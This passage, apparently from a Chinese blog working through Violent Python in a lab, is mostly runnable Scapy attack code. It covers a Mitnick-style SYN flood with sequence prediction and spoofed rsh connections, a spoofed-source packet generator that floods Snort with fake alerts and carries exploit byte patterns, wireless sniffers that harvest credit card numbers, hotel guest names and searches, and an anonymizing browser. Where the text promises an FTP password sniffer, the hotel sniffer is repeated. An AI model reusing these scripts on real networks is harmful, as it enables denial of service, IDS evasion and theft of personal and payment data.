  22. print "[+] Next TCP Sequence Number to ACK is: " + str(seqNum + 1)  

运行结果:

技术分享图片

应该是存在问题的,修改一下输出看看:

技术分享图片

可以看到preNum的值都为0,应该是代码中的逻辑出现问题了。

稍微修改一下代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. def calTSN(tgt):  
  6.     seqNum = 0  
  7.     preNum = 0  
  8.     diffSeq = 0  
  9.     # 重复4次操作  
  10.     for x in range(1,5):  
  11.         # 若不是第一次发送SYN包,则设置前一个序列号值为上一次SYN/ACK包的序列号值  
  12.         # 逻辑出现问题  
  13.         # if preNum != 0:  
  14.         if seqNum != 0:  
  15.             preNum = seqNum  
  16.         # 构造并发送TCP SYN包  
  17.         pkt = IP(dst=tgt) / TCP()  
  18.         ans = sr1(pkt, verbose=0)  
  19.         # 读取SYN/ACK包的TCP序列号  
  20.         seqNum = ans.getlayer(TCP).seq  
  21.         if preNum != 0:  
  22.             diffSeq = seqNum - preNum  
  23.             print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)  
  24.             print "[+] TCP Seq Difference: " + str(diffSeq)  
  25.             print  
  26.     return seqNum + diffSeq  
  27.   
  28. tgt = "192.168.220.128"  
  29. seqNum = calTSN(tgt)  
  30. print "[+] Next TCP Sequence Number to ACK is: " + str(seqNum + 1)  

运行结果:

技术分享图片

可以看到,TCP序列号结果是随机的,即目标主机不存在该漏洞。


伪造TCP连接:

添加伪造TCP连接的spoofConn()函数,整合为一体,主要过程为先对远程服务器进行SYN洪泛攻击、使之拒绝服务,然后猜测TCP序列号并伪造TCP连接去跟目标主机建立TCP连接。

这里的代码只是简单实现了当时实现攻击的场景,现在由于TCP序列号的随机性已经比较难进行TCP猜测攻击了。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from scapy.all import *  
  5.   
  6. def synFlood(src, tgt):  
  7.     # TCP源端口不断自增一,而目标端口513不变  
  8.     for sport in range(1024, 65535):  
  9.         IPlayer = IP(src=src, dst=tgt)  
  10.         TCPlayer = TCP(sport=sport, dport=513)  
  11.         pkt = IPlayer / TCPlayer  
  12.         send(pkt)  
  13.   
  14. def calTSN(tgt):  
  15.     seqNum = 0  
  16.     preNum = 0  
  17.     diffSeq = 0  
  18.     # 重复4次操作  
  19.     for x in range(1,5):  
  20.         # 若不是第一次发送SYN包,则设置前一个序列号值为上一次SYN/ACK包的序列号值  
  21.         # 逻辑出现问题  
  22.         # if preNum != 0:  
  23.         if seqNum != 0:  
  24.             preNum = seqNum  
  25.         # 构造并发送TCP SYN包  
  26.         pkt = IP(dst=tgt) / TCP()  
  27.         ans = sr1(pkt, verbose=0)  
  28.         # 读取SYN/ACK包的TCP序列号  
  29.         seqNum = ans.getlayer(TCP).seq  
  30.         if preNum != 0:  
  31.             diffSeq = seqNum - preNum  
  32.             print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)  
  33.             print "[+] TCP Seq Difference: " + str(diffSeq)  
  34.             print  
  35.     return seqNum + diffSeq  
  36.   
  37. # 伪造TCP连接  
  38. def spoofConn(src, tgt, ack):  
  39.     # 发送TCP SYN包  
  40.     IPlayer = IP(src=src, dst=tgt)  
  41.     TCPlayer = TCP(sport=513, dport=514)  
  42.     synPkt = IPlayer / TCPlayer  
  43.     send(synPkt)  
  44.   
  45.     # 发送TCP ACK包  
  46.     IPlayer = IP(src=src, dst=tgt)  
  47.     TCPlayer = TCP(sport=513, dport=514, ack=ack)  
  48.     ackPkt = IPlayer / TCPlayer  
  49.     send(ackPkt)  
  50.   
  51. def main():  
  52.     parser = optparse.OptionParser(‘[*]Usage: python mitnickAttack.py -s <src for SYN Flood> -S <src for spoofed connection> -t <target address>‘)  
  53.     parser.add_option(‘-s‘, dest=‘synSpoof‘, type=‘string‘, help=‘specifc src for SYN Flood‘)  
  54.     parser.add_option(‘-S‘, dest=‘srcSpoof‘, type=‘string‘, help=‘specify src for spoofed connection‘)  
  55.     parser.add_option(‘-t‘, dest=‘tgt‘, type=‘string‘, help=‘specify target address‘)  
  56.     (options, args) = parser.parse_args()  
  57.     if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:  
  58.         print parser.usage  
  59.         exit(0)  
  60.     else:  
  61.         synSpoof = options.synSpoof  
  62.         srcSpoof = options.srcSpoof  
  63.         tgt = options.tgt  
  64.   
  65.     print ‘[+] Starting SYN Flood to suppress remote server.‘  
  66.     synFlood(synSpoof, srcSpoof)  
  67.     print ‘[+] Calculating correct TCP Sequence Number.‘  
  68.     seqNum = calTSN(tgt) + 1  
  69.     print ‘[+] Spoofing Connection.‘  
  70.     spoofConn(srcSpoof, tgt, seqNum)  
  71.     print ‘[+] Done.‘  
  72.   
  73. if __name__ == ‘__main__‘:  
  74.     main()  

运行结果:

技术分享图片

测试时直接将发包数量设置小一点从而更好地看到输出结果。


6、使用Scapy愚弄入侵检测系统:

这里IDS使用的是snort,本小节主要是通过分析snort的规则,制造假的攻击迹象来触发snort的警报,从而让目标系统产生大量警告而难以作出合理的判断。

先来查看snort的ddos规则:

vim /etc/snort/rules/ddos.rules

然后输入:/icmp_id:678 来直接查找

技术分享图片

看到可以利用的触发警报的规则DDoS TFN探针:ICMP id为678,ICMP type为8,内容含有“1234”。其他的特征也按照规则下面的构造即可。只要构造这个ICMP包并发送到目标主机即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. # 触发DDoS警报  
  6. def ddosTest(src, dst, iface, count):  
  7.     pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load=‘1234‘)  
  8.     send(pkt, iface=iface, count=count)  
  9.   
  10.     pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load=‘AAAAAAAAAA‘)  
  11.     send(pkt, iface=iface, count=count)  
  12.   
  13.     pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load=‘PONG‘)  
  14.     send(pkt, iface=iface, count=count)  
  15.   
  16.     pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)  
  17.     send(pkt, iface=iface, count=count)  
  18.   
  19. src = "192.168.220.132"  
  20. dst = "192.168.220.129"  
  21. iface = "eth0"  
  22. count = 1  
  23. ddosTest(src, dst, iface, count)  

运行结果:

技术分享图片


检查snort警报日志,可以看到四个数据包都被IDS检测到并产生了警报:

snort -q -A console -i eth2 -c /etc/snort/snort.conf

技术分享图片

输入上述命令查看日志期间可能会报错,如:

ERROR: /etc/snort/rules/community-smtp.rules(13) => !any is not allowed

ERROR: /etc/snort/rules/community-virus.rules(19) => !any is not allowed

这时就输入命令:vim /etc/snort/snort.conf,注释掉/etc/snort/rules/community-smtp.rules 和 /etc/snort/rules/community-virus.rules所在行即可。


再来查看snort的exploit.rules文件中的警报规则:

vim /etc/snort/rules/exploit.rules

然后输入:/EXPLOIT ntalkd x86 Linux overflow 来查找

技术分享图片

可以看到,含有框出的指定字节序列就会触发警报。

为了生成含有该指定字节序列的数据包,可以使用符号\x,后面跟上该字节的十六进制值。注意的是其中的“89|F|”在Python中写成“\x89F”即可。

[python] view plain copy
  1. # 触发exploits警报  
  2. def exploitTest(src, dst, iface, count):  
  3.     pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")  
  4.     send(pkt, iface=iface, count=count)  
  5.   
  6.     pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")  
  7.     send(pkt, iface=iface, count=count)  


接着伪造踩点或扫描的操作来触发警报。

查看snort的exploit.rules文件中的警报规则:

vim /etc/snort/rules/scan.rules

然后输入:/Amanda 来查找

技术分享图片

可以看到,只要数据包中含有框出的特征码即可触发警报。

[python] view plain copy
  1. # 触发踩点扫描警报  
  2. def scanTest(src, dst, iface, count):  
  3.     pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load=‘cybercop‘)  
  4.     send(pkt)  
  5.   
  6.     pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load=‘Amanda‘)  
  7.     send(pkt, iface=iface, count=count)  


现在整合所有的代码,生成可以触发DDoS、exploits以及踩点扫描警报的数据包:

-s参数指定发送的源地址,这里伪造源地址为1.2.3.4,-c参数指定发送的次数、只是测试就只发送一次即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from scapy.all import *  
  5. from random import randint  
  6.   
  7. # 触发DDoS警报  
  8. def ddosTest(src, dst, iface, count):  
  9.     pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load=‘1234‘)  
  10.     send(pkt, iface=iface, count=count)  
  11.   
  12.     pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load=‘AAAAAAAAAA‘)  
  13.     send(pkt, iface=iface, count=count)  
  14.   
  15.     pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load=‘PONG‘)  
  16.     send(pkt, iface=iface, count=count)  
  17.   
  18.     pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)  
  19.     send(pkt, iface=iface, count=count)  
  20.   
  21. # 触发exploits警报  
  22. def exploitTest(src, dst, iface, count):  
  23.     pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")  
  24.     send(pkt, iface=iface, count=count)  
  25.   
  26.     pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")  
  27.     send(pkt, iface=iface, count=count)  
  28.   
  29. # 触发踩点扫描警报  
  30. def scanTest(src, dst, iface, count):  
  31.     pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load=‘cybercop‘)  
  32.     send(pkt)  
  33.   
  34.     pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load=‘Amanda‘)  
  35.     send(pkt, iface=iface, count=count)  
  36.   
  37. def main():  
  38.     parser = optparse.OptionParser(‘[*]Usage: python idsFoil.py -i <iface> -s <src> -t <target> -c <count>‘)  
  39.     parser.add_option(‘-i‘, dest=‘iface‘, type=‘string‘, help=‘specify network interface‘)  
  40.     parser.add_option(‘-s‘, dest=‘src‘, type=‘string‘, help=‘specify source address‘)  
  41.     parser.add_option(‘-t‘, dest=‘tgt‘, type=‘string‘, help=‘specify target address‘)  
  42.     parser.add_option(‘-c‘, dest=‘count‘, type=‘int‘, help=‘specify packet count‘)  
  43.     (options, args) = parser.parse_args()  
  44.     if options.iface == None:  
  45.         iface = ‘eth0‘  
  46.     else:  
  47.         iface = options.iface  
  48.     if options.src == None:  
  49.         src = ‘.‘.join([str(randint(1,254)) for x in range(4)])  
  50.     else:  
  51.         src = options.src  
  52.     if options.tgt == None:  
  53.         print parser.usage  
  54.         exit(0)  
  55.     else:  
  56.         dst = options.tgt  
  57.     if options.count == None:  
  58.         count = 1  
  59.     else:  
  60.         count = options.count  
  61.   
  62.     ddosTest(src, dst, iface, count)  
  63.     exploitTest(src, dst, iface, count)  
  64.     scanTest(src, dst, iface, count)  
  65.   
  66. if __name__ == ‘__main__‘:  
  67.     main()  

运行结果:

技术分享图片

可以看到,一共发送了8个数据包。

切换到目标主机的snort进行警报信息查看,可以看到,触发了8条警报,且源地址显示的是伪造的IP:

技术分享图片


第五章——用Python进行无线网络攻击

本章大部分代码都是实现了但是缺乏相应的应用环境,想具体测试的可以直接找到对应的环境或者自行修改脚本以适应生活常用的环境。

1、搭建无线网络攻击环境:

用Scapy测试无线网卡的嗅探功能:

插入无线网卡,输入iwconfig命令查看网卡信息:

技术分享图片


将可能会影响进行无线实验的因素排除掉,然后将网卡设置为混杂模式:

技术分享图片


确认进入Monitor模式:

技术分享图片


测试嗅探无线网络的代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. def pktPrint(pkt):  
  6.     if pkt.haslayer(Dot11Beacon):  
  7.         print ‘[+] Detected 802.11 Beacon Frame‘  
  8.     elif pkt.haslayer(Dot11ProbeReq):  
  9.         print ‘[+] Detected 802.11 Probe Request Frame‘  
  10.     elif pkt.haslayer(TCP):  
  11.         print ‘[+] Detected a TCP Packet‘  
  12.     elif pkt.haslayer(DNS):  
  13.         print ‘[+] Detected a DNS Packet‘  
  14.   
  15. conf.iface = ‘wlan0mon‘  
  16. sniff(prn=pktPrint)  

运行结果:

技术分享图片


安装Python蓝牙包:

apt-get update

apt-get install python-bluez bluetooth python-boexftp

另外还需要一个蓝牙设备,测试能否识别该设备:hciconfig

由于本人没有蓝牙设备,蓝牙部分就先不进行测试。


2、绵羊墙——被动窃听无线网络中传输的秘密:

使用Python正则表达式嗅探信用卡信息:

这里主要搜找书上所列的3种常用的信用卡:Visa、MasterCard和American Express。

测试代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import re  
  4.   
  5. def findCreditCard(raw):  
  6.     # American Express信用卡由34或37开头的15位数字组成  
  7.     americaRE = re.findall(‘3[47][0-9]{13}‘, raw)  
  8.     if americaRE:  
  9.         print ‘[+] Found American Express Card: ‘ + americaRE[0]  
  10.   
  11. def main():  
  12.     tests = []  
  13.     tests.append(‘I would like to buy 1337 copies of that dvd‘)  
  14.     tests.append(‘Bill my card: 378282246310005 for \$2600‘)  
  15.     for test in tests:  
  16.         findCreditCard(test)  
  17.   
  18. if __name__ == ‘__main__‘:  
  19.     main()  

运行结果:

技术分享图片


接着就加入Scapy来嗅探TCP数据包实现嗅探功能:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import re  
  4. import optparse  
  5. from scapy.all import *  
  6.   
  7. def findCreditCard(pkt):  
  8.     raw = pkt.sprintf(‘%Raw.load%‘)  
  9.     # American Express信用卡由34或37开头的15位数字组成  
  10.     americaRE = re.findall(‘3[47][0-9]{13}‘, raw)  
  11.     # MasterCard信用卡的开头为51~55,共16位数字  
  12.     masterRE = re.findall(‘5[1-5][0-9]{14}‘, raw)  
  13.     # Visa信用卡开头数字为4,长度为13或16位  
  14.     visaRE = re.findall(‘4[0-9]{12}(?:[0-9]{3})?‘, raw)  
  15.   
  16.     if americaRE:  
  17.         print ‘[+] Found American Express Card: ‘ + americaRE[0]  
  18.     if masterRE:  
  19.         print ‘[+] Found MasterCard Card: ‘ + masterRE[0]  
  20.     if visaRE:  
  21.         print ‘[+] Found Visa Card: ‘ + visaRE[0]  
  22.   
  23. def main():  
  24.     parser = optparse.OptionParser(‘[*]Usage: python creditSniff.py -i <interface>‘)  
  25.     parser.add_option(‘-i‘, dest=‘interface‘, type=‘string‘, help=‘specify interface to listen on‘)  
  26.     (options, args) = parser.parse_args()  
  27.   
  28.     if options.interface == None:  
  29.         print parser.usage  
  30.         exit(0)  
  31.     else:  
  32.         conf.iface = options.interface  
  33.   
  34.     try:  
  35.         print ‘[*] Starting Credit Card Sniffer.‘  
  36.         sniff(filter=‘tcp‘, prn=findCreditCard, store=0)  
  37.     except KeyboardInterrupt:  
  38.         exit(0)  
  39.   
  40. if __name__ == ‘__main__‘:  
  41.     main()  

运行结果:

技术分享图片

当然并没有这几种信用卡,而且在本地不常见。具体其他信用卡号的规律可以自己发掘一下。


嗅探宾馆住客:

这段脚本所在的网络环境是作者所在宾馆的环境,不同环境肯定有区别,可以自行抓包修改脚本实现嗅探。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from scapy.all import *  
  5.   
  6. def findGuest(pkt):  
  7.     raw = pkt.sprintf(‘%Raw.load%‘)  
  8.     name = re.findall(‘(?i)LAST_NAME=(.*)&‘, raw)  
  9.     room = re.findall("(?i)ROOM_NUMBER=(.*)‘", raw)  
  10.     if name:  
  11.         print ‘[+] Found Hotel Guest ‘ + str(name[0]) + ‘, Room #‘ + str(room[0])  
  12.   
  13. def main():  
  14.     parser = optparse.OptionParser(‘[*]Usage: python hotelSniff.py -i <interface>‘)  
  15.     parser.add_option(‘-i‘, dest=‘interface‘, type=‘string‘, help=‘specify interface to listen on‘)  
  16.     (options, args) = parser.parse_args()  
  17.   
  18.     if options.interface == None:  
  19.         print parser.usage  
  20.         exit(0)  
  21.     else:  
  22.         conf.iface = options.interface  
  23.   
  24.     try:  
  25.         print ‘[*] Starting Hotel Guest Sniffer.‘  
  26.         sniff(filter=‘tcp‘, prn=findGuest, store=0)  
  27.     except KeyboardInterrupt:  
  28.         exit(0)  
  29.   
  30. if __name__ == ‘__main__‘:  
  31.     main()  

当然没有嗅探出信息:

技术分享图片


编写谷歌键盘记录器:

Google搜索,由“q=”开始,中间是要搜索的字符串,并以“&”终止,字符“pg=”后接的是上一个搜索的内容。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from scapy.all import *  
  5.   
  6. def findGoogle(pkt):  
  7.     if pkt.haslayer(Raw):  
  8.         payload = pkt.getlayer(Raw).load  
  9.         if ‘GET‘ in payload:  
  10.             if ‘google‘ in payload:  
  11.                 r = re.findall(r‘(?i)\&q=(.*?)\&‘, payload)  
  12.                 if r:  
  13.                     search = r[0].split(‘&‘)[0]  
  14.                     search = search.replace(‘q=‘, ‘‘).replace(‘+‘, ‘ ‘).replace(‘%20‘, ‘ ‘)  
  15.                     print ‘[+] Searched For: ‘ + search  
  16.   
  17. def main():  
  18.     parser = optparse.OptionParser(‘[*]Usage: python googleSniff.py -i <interface>‘)  
  19.     parser.add_option(‘-i‘, dest=‘interface‘, type=‘string‘, help=‘specify interface to listen on‘)  
  20.     (options, args) = parser.parse_args()  
  21.   
  22.     if options.interface == None:  
  23.         print parser.usage  
  24.         exit(0)  
  25.     else:  
  26.         conf.iface = options.interface  
  27.   
  28.     try:  
  29.         print ‘[*] Starting Google Sniffer.‘  
  30.         sniff(filter=‘tcp port 80‘, prn=findGoogle)  
  31.     except KeyboardInterrupt:  
  32.         exit(0)  
  33.   
  34. if __name__ == ‘__main__‘:  
  35.     main()  

嗅探不到什么结果的就不给出截图了,后面部分也一样。


嗅探FTP登录口令:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from scapy.all import *  
  5.   
  6. def findGuest(pkt):  
  7.     raw = pkt.sprintf(‘%Raw.load%‘)  
  8.     name = re.findall(‘(?i)LAST_NAME=(.*)&‘, raw)  
  9.     room = re.findall("(?i)ROOM_NUMBER=(.*)‘", raw)  
  10.     if name:  
  11.         print ‘[+] Found Hotel Guest ‘ + str(name[0]) + ‘, Room #‘ + str(room[0])  
  12.   
  13. def main():  
  14.     parser = optparse.OptionParser(‘[*]Usage: python hotelSniff.py -i <interface>‘)  
  15.     parser.add_option(‘-i‘, dest=‘interface‘, type=‘string‘, help=‘specify interface to listen on‘)  
  16.     (options, args) = parser.parse_args()  
  17.   
  18.     if options.interface == None:  
  19.         print parser.usage  
  20.         exit(0)  
  21.     else:  
  22.         conf.iface = options.interface  
  23.   
  24.     try:  
  25.         print ‘[*] Starting Hotel Guest Sniffer.‘  
  26.         sniff(filter=‘tcp‘, prn=findGuest, store=0)  
  27.     except KeyboardInterrupt:  
  28.         exit(0)  
  29.   
  30. if __name__ == ‘__main__‘:  
  31.     main()  


3、你带着笔记本电脑去过哪里?Python告诉你:

侦听802.11 Probe请求:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #utf-8  
  3. from scapy.all import *  
  4.   
  5. interface = ‘wlan0mon‘  
  6. probeReqs = []  
  7.   
  8. def sniffProbe(p):  
  9.     if p.haslayer(Dot11ProbeReq):  
  10.         netName = p.getlayer(Dot11ProbeReq).info  
  11.         if netName not in probeReqs:  
  12.             probeReqs.append(netName)  
  13.             print ‘[+] Detected New Probe Request: ‘ + netName  
  14.   
  15. sniff(iface=interface, prn=sniffProbe)  


寻找隐藏网络的802.11信标:

[python] view plain copy
  1. def sniffDot11(p):  
  2.     if p.haslayer(Dot11Beacon):  
  3.         if p.getlayer(Dot11Beacon).info == ‘‘:  
  4.             addr2 = p.getlayer(Dot11).addr2  
  5.             if addr2 not in hiddenNets:  
  6.                 print ‘[-] Detected Hidden SSID: with MAC:‘ + addr2  
  7.                 hiddenNets.append(addr2)  


找出隐藏的802.11网络的网络名:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import sys  
  4. from scapy import *  
  5.   
  6. interface = ‘wlan0mon‘  
  7. hiddenNets = []  
  8. unhiddenNets = []  
  9.   
  10. def sniffDot11(p):  
  11.     if p.haslayer(Dot11ProbeResp):  
  12.         addr2 = p.getlayer(Dot11).addr2  
  13.         if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):  
  14.             netName = p.getlayer(Dot11ProbeResp).info  
  15.             print ‘[+] Decloaked Hidden SSID : ‘ + netName + ‘ for MAC: ‘ + addr2  
  16.             unhiddenNets.append(addr2)  
  17.   
  18.     if p.haslayer(Dot11Beacon):  
  19.         if p.getlayer(Dot11Beacon).info == ‘‘:  
  20.             addr2 = p.getlayer(Dot11).addr2  
  21.             if addr2 not in hiddenNets:  
  22.                 print ‘[-] Detected Hidden SSID: with MAC:‘ + addr2  
  23.                 hiddenNets.append(addr2)  
  24.   
  25. sniff(iface=interface, prn=sniffDot11)  


本章后面的代码实用性不高,暂时也不贴该块的代码了,也没有测试的环境。


第六章——用Python刺探网络

1、使用Mechanize库上网:

Mechanize库的Browser类允许我们对浏览器中的任何内容进行操作。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import mechanize  
  4.   
  5. def viewPage(url):  
  6.     browser = mechanize.Browser()  
  7.     page = browser.open(url)  
  8.     source_code = page.read()  
  9.     print source_code  
  10.   
  11. viewPage(‘http://www.imooc.com/‘)  

运行结果:

技术分享图片


匿名性——使用代理服务器、User-Agent和cookie:

书上是从http://www.hidemyass.com/中获取的一个代理IP,且在http://ip.ntfsc.noaa.gov/中显示的当前IP来测试代理IP是否可用。但是以上两个网址正常都访问不了,那就直接用国内访问得了的吧,具体的可参考《Python爬虫之基础篇》中的代理IP部分。

为了方便,直接上之前的脚本找找看哪些代理IP可用,有个注意的地方就是查看当前IP的网址变为http://2017.ip138.com/ic.asp,之前的那个现在是查看CDN节点IP的了。

agentIP.py的运行结果:

技术分享图片

直接找显示可行的那个代理IP下来,编写使用Mechanize验证代理IP的脚本:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import mechanize  
  4.   
  5. def testProxy(url, proxy):  
  6.     browser = mechanize.Browser()  
  7.     browser.set_proxies(proxy)  
  8.     page = browser.open(url)  
  9.     source_code = page.read()  
  10.     print source_code  
  11.   
  12. url = ‘http://2017.ip138.com/ic.asp‘  
  13. hideMeProxy = {‘http‘: ‘139.196.202.164:9001‘}  
  14. testProxy(url, hideMeProxy)  

运行结果:

技术分享图片

可用看到,页面显示的IP地址确实是代理的IP地址。


另外还要添加User-Agent的匿名,在http://www.useragentstring.com/pages/useragentstring.php中有很多版本的UA提供。另外,该页面http://whatismyuseragent.dotdoh.com提供将UA显示在页面的功能,但现在已经用不了了。还是写上书上的源代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import mechanize  
  4.   
  5. def testUserAgent(url, userAgent):  
  6.     browser = mechanize.Browser()  
  7.     browser.addheaders = userAgent  
  8.     page = browser.open(url)  
  9.     source_code = page.read()  
  10.     print source_code  
  11.   
  12. url = ‘http://whatismyuseragent.dotdoh.com/‘  
  13. userAgent = [(‘User-agent‘, ‘Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01‘)]  
  14. testUserAgent(url, userAgent)  


下面是个人修改的部分,同样以页面返回的形式来验证UA:

先换个国内查看UA的网页吧:http://www.atool.org/useragent.php

刚打开时会出现如图等待的页面,过了5秒后才真正地跳转到返回UA的页面:

技术分享图片

技术分享图片

这个主要是防止一些静态爬虫以及拦截一些非浏览器特征的请求,这时Mechanize库就不能起作用了,这时就简单地编写动态爬虫绕过这个机制吧。

查看下源代码中的标签内容:

技术分享图片

根据这个标签的特征,编写验证UA的动态爬虫,这里设置webdriver驱动UA有两种方式:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from selenium import webdriver  
  4. from selenium.webdriver.common.desired_capabilities import DesiredCapabilities  
  5. from bs4 import BeautifulSoup as BS  
  6. import time  
  7.   
  8. url = ‘http://www.atool.org/useragent.php‘  
  9.   
  10. # 设置PhantomJS的请求头  
  11. # dcap = dict(DesiredCapabilities.PHANTOMJS)  
  12. # dcap["phantomjs.page.settings.userAgent"] = ("Hello World! BY PhantomJS")  
  13. # driver = webdriver.PhantomJS(executable_path=‘E:\Python27\Scripts\phantomjs-2.1.1-windows\\bin\phantomjs.exe‘, desired_capabilities=dcap)  
  14.   
  15. # 设置Chrome的请求头  
  16. options = webdriver.ChromeOptions()  
  17. options.add_argument(‘--user-agent=Hello World! BY Chrome‘)  
  18. driver = webdriver.Chrome(chrome_options=options)  
  19.   
  20. driver.get(url)  
  21. time.sleep(5)  
  22. page_source = driver.page_source  
  23. soup = BS(page_source, ‘lxml‘)  
  24. ua = soup.find_all(name=‘input‘, attrs={‘id‘:‘ua_code‘})[0].get(‘value‘)  
  25. print "[*] Your User-Agent is: " + ua  

看看Chrome驱动返回的数据:

技术分享图片


接着和Cookielib库一起使用,使用一个能把各个不同的cookie保存到磁盘中的容器,该功能允许用户收到cookie后不必把它返回给网站,且可以查看其中的内容:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import mechanize  
  4. import cookielib  
  5.   
  6. def printCookies(url):  
  7.     browser = mechanize.Browser()  
  8.     cookie_jar = cookielib.LWPCookieJar()  
  9.     browser.set_cookiejar(cookie_jar)  
  10.     page = browser.open(url)  
  11.     for cookie in cookie_jar:  
  12.         print cookie  
  13.   
  14. url = ‘http://www.imooc.com/‘  
  15. printCookies(url)  

运行结果:

技术分享图片


把代码集成在Python类的AnonBrowser中:

现在把前面代码中的几个匿名操作的函数集成在一个新类anonBrowser中,该类继承了Mechanize库的Browser类并直接封装前面所有的函数,同时添加了__init__()函数、其中的参数使用户可以自定义添加代理列表和UA列表。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import mechanize  
  4. import cookielib  
  5. import random  
  6.   
  7. class anonBrowser(mechanize.Browser):  
  8.     def __init__(self, proxies = [], user_agents = []):  
  9.         mechanize.Browser.__init__(self)  
  10.         self.set_handle_robots(False)  
  11.         # 可供用户使用的代理服务器列表  
  12.         self.proxies = proxies  
  13.         # user_agent列表  
  14.         self.user_agents = user_agents + [‘Mozilla/4.0 ‘, ‘FireFox/6.01‘,‘ExactSearch‘, ‘Nokia7110/1.0‘]   
  15.         self.cookie_jar = cookielib.LWPCookieJar()  
  16.         self.set_cookiejar(self.cookie_jar)  
  17.         self.anonymize()  
  18.   
  19.     # 清空cookie  
  20.     def clear_cookies(self):  
  21.         self.cookie_jar = cookielib.LWPCookieJar()  
  22.         self.set_cookiejar(self.cookie_jar)  
  23.   
  24.     # 从user_agent列表中随机设置一个user_agent  
  25.     def change_user_agent(self):  
  26.         index = random.randrange(0, len(self.user_agents) )  
  27.         self.addheaders = [(‘User-agent‘,  ( self.user_agents[index] ))]           
  28.               
  29.     # 从代理列表中随机设置一个代理  
  30.     def change_proxy(self):  
  31.         if self.proxies:  
  32.             index = random.randrange(0, len(self.proxies))  
  33.             self.set_proxies( {‘http‘: self.proxies[index]} )  
  34.       
  35.     # 调用上述三个函数改变UA、代理以及清空cookie以提高匿名性,其中sleep参数可让进程休眠以进一步提高匿名效果  
  36.     def anonymize(self, sleep = False):  
  37.         self.clear_cookies()  
  38.         self.change_user_agent()  
  39.         self.change_proxy()  
  40.   
  41.         if sleep:  
  42.             time.sleep(60)  


测试每次是否使用不同的cookie访问:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from anonBrowser import *  
  4.   
  5. ab = anonBrowser(proxies=[], user_agents=[(‘User-agent‘,‘superSecretBroswer‘)])  
  6.   
  7. for attempt in range(1, 5):  
  8.     # 每次访问都进行一次匿名操作  
  9.     ab.anonymize()  
  10.     print ‘[*] Fetching page‘  
  11.     response = ab.open(‘http://www.kittenwar.com/‘)  
  12.     for cookie in ab.cookie_jar:  
  13.         print cookie  

访问http://www.kittenwar.com/,可以看到每次都使用不同的cookie:

技术分享图片


2、用anonBrowser抓取更多的Web页面:

用BeautifulSoup解析Href链接:

下面的脚本主要比较使用re模块和BeautifulSoup模块爬取页面数据的区别。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from anonBrowser import *  
  4. from BeautifulSoup import BeautifulSoup  
  5. import os  
  6. import optparse  
  7. import re  
  8.   
  9. def printLinks(url):  
  10.     ab = anonBrowser()  
  11.     ab.anonymize()  
  12.     page = ab.open(url)  
  13.     html = page.read()  
  14.     # 使用re模块解析href链接  
  15.     try:  
  16.         print ‘[+] Printing Links From  Regex.‘  
  17.         link_finder = re.compile(‘href="(.*?)"‘)  
  18.         links = link_finder.findall(html)  
  19.         for link in links:  
  20.             print link  
  21.     except:  
  22.         pass  
  23.     # 使用bs4模块解析href链接  
  24.     try:  
  25.         print ‘\n[+] Printing Links From BeautifulSoup.‘  
  26.         soup = BeautifulSoup(html)  
  27.         links = soup.findAll(name=‘a‘)  
  28.         for link in links:  
  29.             if link.has_key(‘href‘):  
  30.                 print link[‘href‘]  
  31.     except:  
  32.         pass  
  33.   
  34. def main():  
